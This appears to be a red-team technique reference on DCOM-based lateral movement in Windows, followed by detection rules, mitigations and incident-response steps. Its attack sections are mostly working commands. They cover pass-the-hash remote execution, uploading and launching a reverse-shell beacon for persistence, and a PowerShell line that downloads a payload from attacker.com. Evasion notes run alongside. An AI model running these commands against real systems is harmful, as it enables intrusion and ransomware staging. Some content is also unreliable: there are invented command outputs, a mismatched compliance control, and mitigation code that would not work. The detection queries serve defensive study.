| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-002 |
| MITRE ATT&CK v18.1 | T1021.003 |
| Tactic | Lateral Movement |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | N/A (Inherent Windows functionality; historical: CVE-2019-0604, CVE-2021-26411) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016-2025, Windows 10/11 |
| Patched In | N/A - Feature not removed; mitigations available via patch/policy |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Distributed Component Object Model (DCOM) is a Windows mechanism enabling Remote Procedure Calls (RPC) across networks. Attackers with valid credentials can instantiate DCOM objects (e.g., WScript.Shell, Excel.Application, PowerPoint.Application) on remote systems to execute arbitrary commands without leaving obvious artifacts. DCOM abuse bypasses traditional detection by leveraging legitimate Windows interprocess communication (IPC) channels and is particularly dangerous because outbound DCOM is often unrestricted in corporate networks.
Attack Surface: Windows DCOM protocol (RPC over TCP/UDP, typically ports 135, 445, 49152-65535), DCOM COM objects (WScript.Shell, Excel.Application, Word.Application, Internet Explorer, etc.), Remote Registry Service, Windows Management Instrumentation (WMI - which itself uses DCOM).
Business Impact: Critical—Fileless code execution across the network. DCOM attacks leave minimal disk artifacts, making them difficult to detect. An attacker can achieve lateral movement, execute arbitrary code, establish persistence, and exfiltrate data without traditional malware signatures. This is particularly dangerous in environments with weak detection of RPC/DCOM traffic.
Technical Context: Execution is near-instantaneous once the DCOM object is instantiated. Detection is highly dependent on: (1) Whether RPC endpoint auditing is enabled (often disabled), (2) Network monitoring for suspicious DCOM traffic, and (3) Behavioral analysis of COM object instantiation. Many organizations lack visibility into DCOM communications.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 18.9.92.1 | Disable “Remote Desktop Protocol (RDP)” and firewall rules for DCOM/RPC |
| DISA STIG | WN10-00-000180 | Disable unnecessary RPC/DCOM ports and services |
| NIST 800-53 | AC-6 (Least Privilege), SI-4 (Information System Monitoring) | Restrict RPC/DCOM access and monitor anomalous RPC traffic |
| GDPR | Art. 32 | Security of Processing—endpoint detection and response (EDR) mandated |
| NIS2 | Art. 21 | Cyber Risk Management—monitor and restrict lateral movement vectors |
| ISO 27001 | A.13.2.1 (Access Control for Networks) | Restrict RPC/DCOM to authorized interfaces only |
| ISO 27005 | Risk Scenario: “Fileless Code Execution via DCOM” | Detect and contain DCOM-based lateral movement |
Supported Versions:
Supported Versions: Server 2016-2025
Objective: Confirm target is reachable via RPC and DCOM is enabled.
Command:
# Probe RPC port 135 (DCOM Endpoint Mapper)
nc -zv target.local 135
# Expected: Connection accepted
# Use Impacket to identify DCOM availability
python3 /opt/impacket/examples/rpcdump.py target.local | grep "DCOM\|COM\|RPC"
Expected Output:
Endpoint: 0.0.0.0:135
Protocol: tcp/ip
Health: Working
Binding: ncacn_ip_tcp:target.local[135]
UUID: 000001A0-0000-0000-C000-000000000046 (OLE Compound Documents (Embedded files))
What This Means:
OpSec & Evasion:
Objective: Instantiate WScript.Shell COM object and execute arbitrary command.
Command:
# Execute whoami command via DCOM
python3 /opt/impacket/examples/dcomexec.py -hashes :AAAABBBBCCCCDDDDEEEEFFFFGGGG1111 'DOMAIN/user@target.local' 'whoami'
Expected Output:
[*] Trying protocol 445/SMB...
[*] User DOMAIN\user authenticated successfully
[*] Instantiating COM object (WScript.Shell)...
[*] Remote command execution successful
domain\system
What This Means:
OpSec & Evasion:
Objective: Create persistent backdoor for continued access.
Command:
# Upload reverse shell first (via SMB)
smbclient -hashes :HASH 'DOMAIN/user@target.local' -c 'put beacon.exe C$\Windows\Temp\'
# Execute reverse shell via DCOM
python3 /opt/impacket/examples/dcomexec.py -hashes :HASH 'DOMAIN/user@target.local' 'C:\Windows\Temp\beacon.exe'
Expected Output:
[*] Remote command execution successful
[*] Beacon executed; reverse connection established
What This Means:
Supported Versions: Server 2016-2025 (.NET Framework 4.5+)
Objective: Prepare C# DCOM exploit for deployment.
Command (Attacker System):
# Clone SharpCOMExec
git clone https://github.com/rvrsh3ll/SharpCOMExec.git
cd SharpCOMExec
# Compile (requires Visual Studio or csc.exe)
csc.exe /out:SharpCOMExec.exe SharpCOMExec.cs
Expected Output:
Microsoft (R) Visual C# Compiler version 3.11.0...
SharpCOMExec.exe successfully generated
What This Means:
Objective: Execute arbitrary command on remote target via DCOM.
Command (From Compromised Windows System):
# Execute command via DCOM using SharpCOMExec
SharpCOMExec.exe target.local "whoami"
SharpCOMExec.exe 192.168.1.10 "ipconfig"
SharpCOMExec.exe DC01.corp.local "C:\Windows\Temp\beacon.exe"
Expected Output:
[+] Target: target.local
[+] DCOM Object: WScript.Shell
[+] Command: whoami
[+] Result: domain\system
What This Means:
Supported Versions: Server 2016-2025, PowerShell 3.0+
Objective: Establish authenticated WMI connection for remote command execution.
Command (PowerShell):
# Define target and credentials
$ComputerName = "target.local"
$Username = "DOMAIN\user"
$Password = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)
# Create WMI session (uses DCOM internally)
$Options = New-CimSessionOption -Protocol Dcom
$CimSession = New-CimSession -ComputerName $ComputerName -Credential $Credential -SessionOption $Options
# Execute command via WMI (DCOM-based)
Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create `
-Arguments @{CommandLine = "cmd.exe /c whoami"} | Format-List
Expected Output:
ProcessId : 5432
ReturnValue : 0
What This Means:
OpSec & Evasion:
Repository: GitHub - SecureAuthCorp/impacket
Version: 1.4.10+
Installation:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -e .
Usage Examples:
# Basic command execution
python3 -m impacket.dcomexec -hashes :HASH 'DOMAIN/user@target' 'whoami'
# Interactive shell
python3 -m impacket.dcomexec -hashes :HASH 'DOMAIN/user@target'
# Specify alternative COM object (default: WScript.Shell)
python3 -m impacket.dcomexec -hashes :HASH -object MMC20.Application 'DOMAIN/user@target' 'whoami'
# Custom RPC port
python3 -m impacket.dcomexec -hashes :HASH -port 49153 'DOMAIN/user@target' 'whoami'
Alternative COM Objects:
WScript.Shell (Default; highest compatibility)Excel.Application (Office installed)Word.Application (Office installed)PowerPoint.Application (Office installed)Internet Explorer (IE installed)MMC20.Application (MMC snap-in; common on Servers)ShellBrowserWindow (Windows Explorer)Repository: GitHub - rvrsh3ll/SharpCOMExec
Usage:
// C# - Compile and run
SharpCOMExec.exe <target> <command>
SharpCOMExec.exe 192.168.1.10 "net user"
SharpCOMExec.exe DC01.corp.local "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')"
Usage:
# Enumerate RPC services on target
python3 /opt/impacket/examples/rpcdump.py target.local | grep UUID
# List DCOM objects available
python3 /opt/impacket/examples/rpcdump.py target.local -p all
Primary Event IDs:
| Event ID | Source | What It Detects | Detection Difficulty |
|---|---|---|---|
| 4688 | Security | Process creation from WMI provider (WmiPrvSE.exe parent) | High |
| 5440 | Security | RPC event (connection from non-standard source) | Medium |
| 13/14 (Sysmon) | Sysmon | Registry access for COM object instantiation | Low |
| 10 (Sysmon) | Sysmon | Remote thread creation (unlikely in DCOM) | Medium |
Manual Configuration Steps (Group Policy):
gpupdate /forceDetection Query (Event ID 4688):
# Find process creation with WmiPrvSE.exe parent
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4688
StartTime=(Get-Date).AddHours(-1)
} | Where-Object { $_.Message -match "WmiPrvSE" } | Format-Table TimeCreated, Message
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688 // Process creation
| where ParentProcessName has "wmiprvse.exe" // Parent is WMI provider
| where CommandLine has_any ("cmd.exe", "powershell.exe", "certutil.exe", "bitsadmin.exe")
| summarize Count=count() by Computer, Account, ProcessName, CommandLine
| where Count > 0
| project Computer, Account, ProcessName, CommandLine
What This Detects:
Manual Configuration Steps (Azure Portal):
DCOM/WMI Process ExecutionHigh10 minutes30 minutesRule Configuration:
KQL Query:
// Detect RPC/DCOM connections to high-numbered ports
Sysmon
| where EventID == 3 // Network connection
| where DestinationPort >= 49152 // Dynamic RPC ports
| where DestinationPort <= 65535
| where SourceIp !in ("127.0.0.1", "::1") // Exclude localhost
| summarize Connections=count() by SourceIp, DestinationIp, DestinationPort, Image
| where Connections > 1 // Multiple connections indicate sweep
| project SourceIp, DestinationIp, DestinationPort, Image, Connections
What This Detects:
Minimum Sysmon Version: 13.0+
Config Snippet:
<!-- Detect DCOM COM object instantiation via registry and process events -->
<RuleGroup name="DCOM Lateral Movement" groupRelation="or">
<!-- Detect WmiPrvSE.exe spawning suspicious processes -->
<ProcessCreate onmatch="include">
<ParentImage condition="contains">wmiprvse.exe</ParentImage>
<CommandLine condition="contains any">cmd.exe, powershell.exe, certutil.exe, whoami</CommandLine>
</ProcessCreate>
<!-- Detect COM object instantiation via HKEY_CURRENT_USER\Software\Classes\CLSID -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">CLSID</TargetObject>
<TargetObject condition="contains any">WScript.Shell, Excel.Application, Word.Application</TargetObject>
</RegistryEvent>
<!-- Detect outbound RPC connections to high-numbered ports -->
<NetworkConnect onmatch="include">
<DestinationPort condition="range">49152-65535</DestinationPort>
<DestinationIp condition="is not">127.0.0.1</DestinationIp>
</NetworkConnect>
<!-- Detect RPC.EXE (rarely used in modern systems) -->
<ProcessCreate onmatch="include">
<Image condition="contains">rpc.exe</Image>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon-dcom-config.xml with the config abovesysmon64.exe -accepteula -i sysmon-dcom-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.ID -eq 3} | Select-Object TimeCreated, Message | Head -20
Disable DCOM Network Access:
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry - Local Policy):
# Disable DCOM network access
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DCOM" -Force
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DCOM" -Name "EnableDCOM" -Value "N" -PropertyType String -Force
Verification:
# Verify DCOM is disabled
Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\DCOM" -Name "EnableDCOM"
# Should return: N
Enable RPC Interface Restrictions:
Manual Steps (Group Policy):
Block Inbound DCOM (RPC)BlockInboundTCP135, 445Anygpupdate /forceImplement Application Whitelisting for COM Objects:
Manual Steps (PowerShell - Restrict Executable COM Objects):
# Create registry entries to disable dangerous COM objects
$ComObjectsToDisable = @(
"Excel.Application",
"Word.Application",
"PowerPoint.Application",
"Internet Explorer",
"ShellBrowserWindow"
)
foreach ($ComObject in $ComObjectsToDisable) {
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\Safer\CodeIdentifier" -Force
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\Safer\CodeIdentifier" `
-Name $ComObject -Value "Disabled" -PropertyType String -Force
}
Enforce Network Segmentation (Block RPC Traffic):
Manual Steps (Firewall - Windows Defender):
# Block outbound RPC to non-critical systems
New-NetFirewallRule -DisplayName "Block Outbound RPC to Workstations" `
-Direction Outbound -Action Block -Protocol TCP `
-RemotePort 135,445 -RemoteAddress "192.168.1.0/24" -Enabled:$true
# Allow only to domain controllers and fileservers
New-NetFirewallRule -DisplayName "Allow RPC to DC/FileServer" `
-Direction Outbound -Action Allow -Protocol TCP `
-RemotePort 135,445 -RemoteAddress "192.168.1.10,192.168.1.11" -Enabled:$true
Enable RPC Endpoint Mapper Auditing:
Manual Steps (Group Policy):
gpupdate /forceDeploy Endpoint Detection & Response (EDR):
Manual Steps (Microsoft Defender for Endpoint):
Isolate System:
Command (PowerShell):
# Disable RPC service (careful—may break Windows functionality)
Stop-Service RpcSs -Force
Set-Service RpcSs -StartupType Disabled
Manual:
Collect Evidence:
Command (PowerShell):
# Export security logs
wevtutil epl Security C:\Evidence\Security.evtx
# Export Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
# Get process list
Get-Process | Export-Csv C:\Evidence\ProcessList.csv
# Get network connections
Get-NetTCPConnection | Export-Csv C:\Evidence\Connections.csv
Remediate:
Command (PowerShell):
# Kill suspicious WmiPrvSE processes
Get-Process wmiprvse | Stop-Process -Force
# Reset RPC service
Start-Service RpcSs
Set-Service RpcSs -StartupType Automatic
# Reset affected user's credentials
Set-ADAccountPassword -Identity "compromised_user" -NewPassword (ConvertTo-SecureString "NewPassword!" -AsPlainText -Force) -Reset
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView enumeration | Discover domain systems and services |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz LSASS dumping | Extract credentials or NTLM hashes |
| 3 | Lateral Movement | [LM-REMOTE-002] DCOM | Use credentials to execute commands via DCOM/WMI |
| 4 | Persistence | [PERSIST-ACCT-001] AdminSDHolder abuse | Maintain access via ACL manipulation |
| 5 | Impact | [IMPACT-RANSOM-001] Ransomware | Deploy ransomware via fileless execution |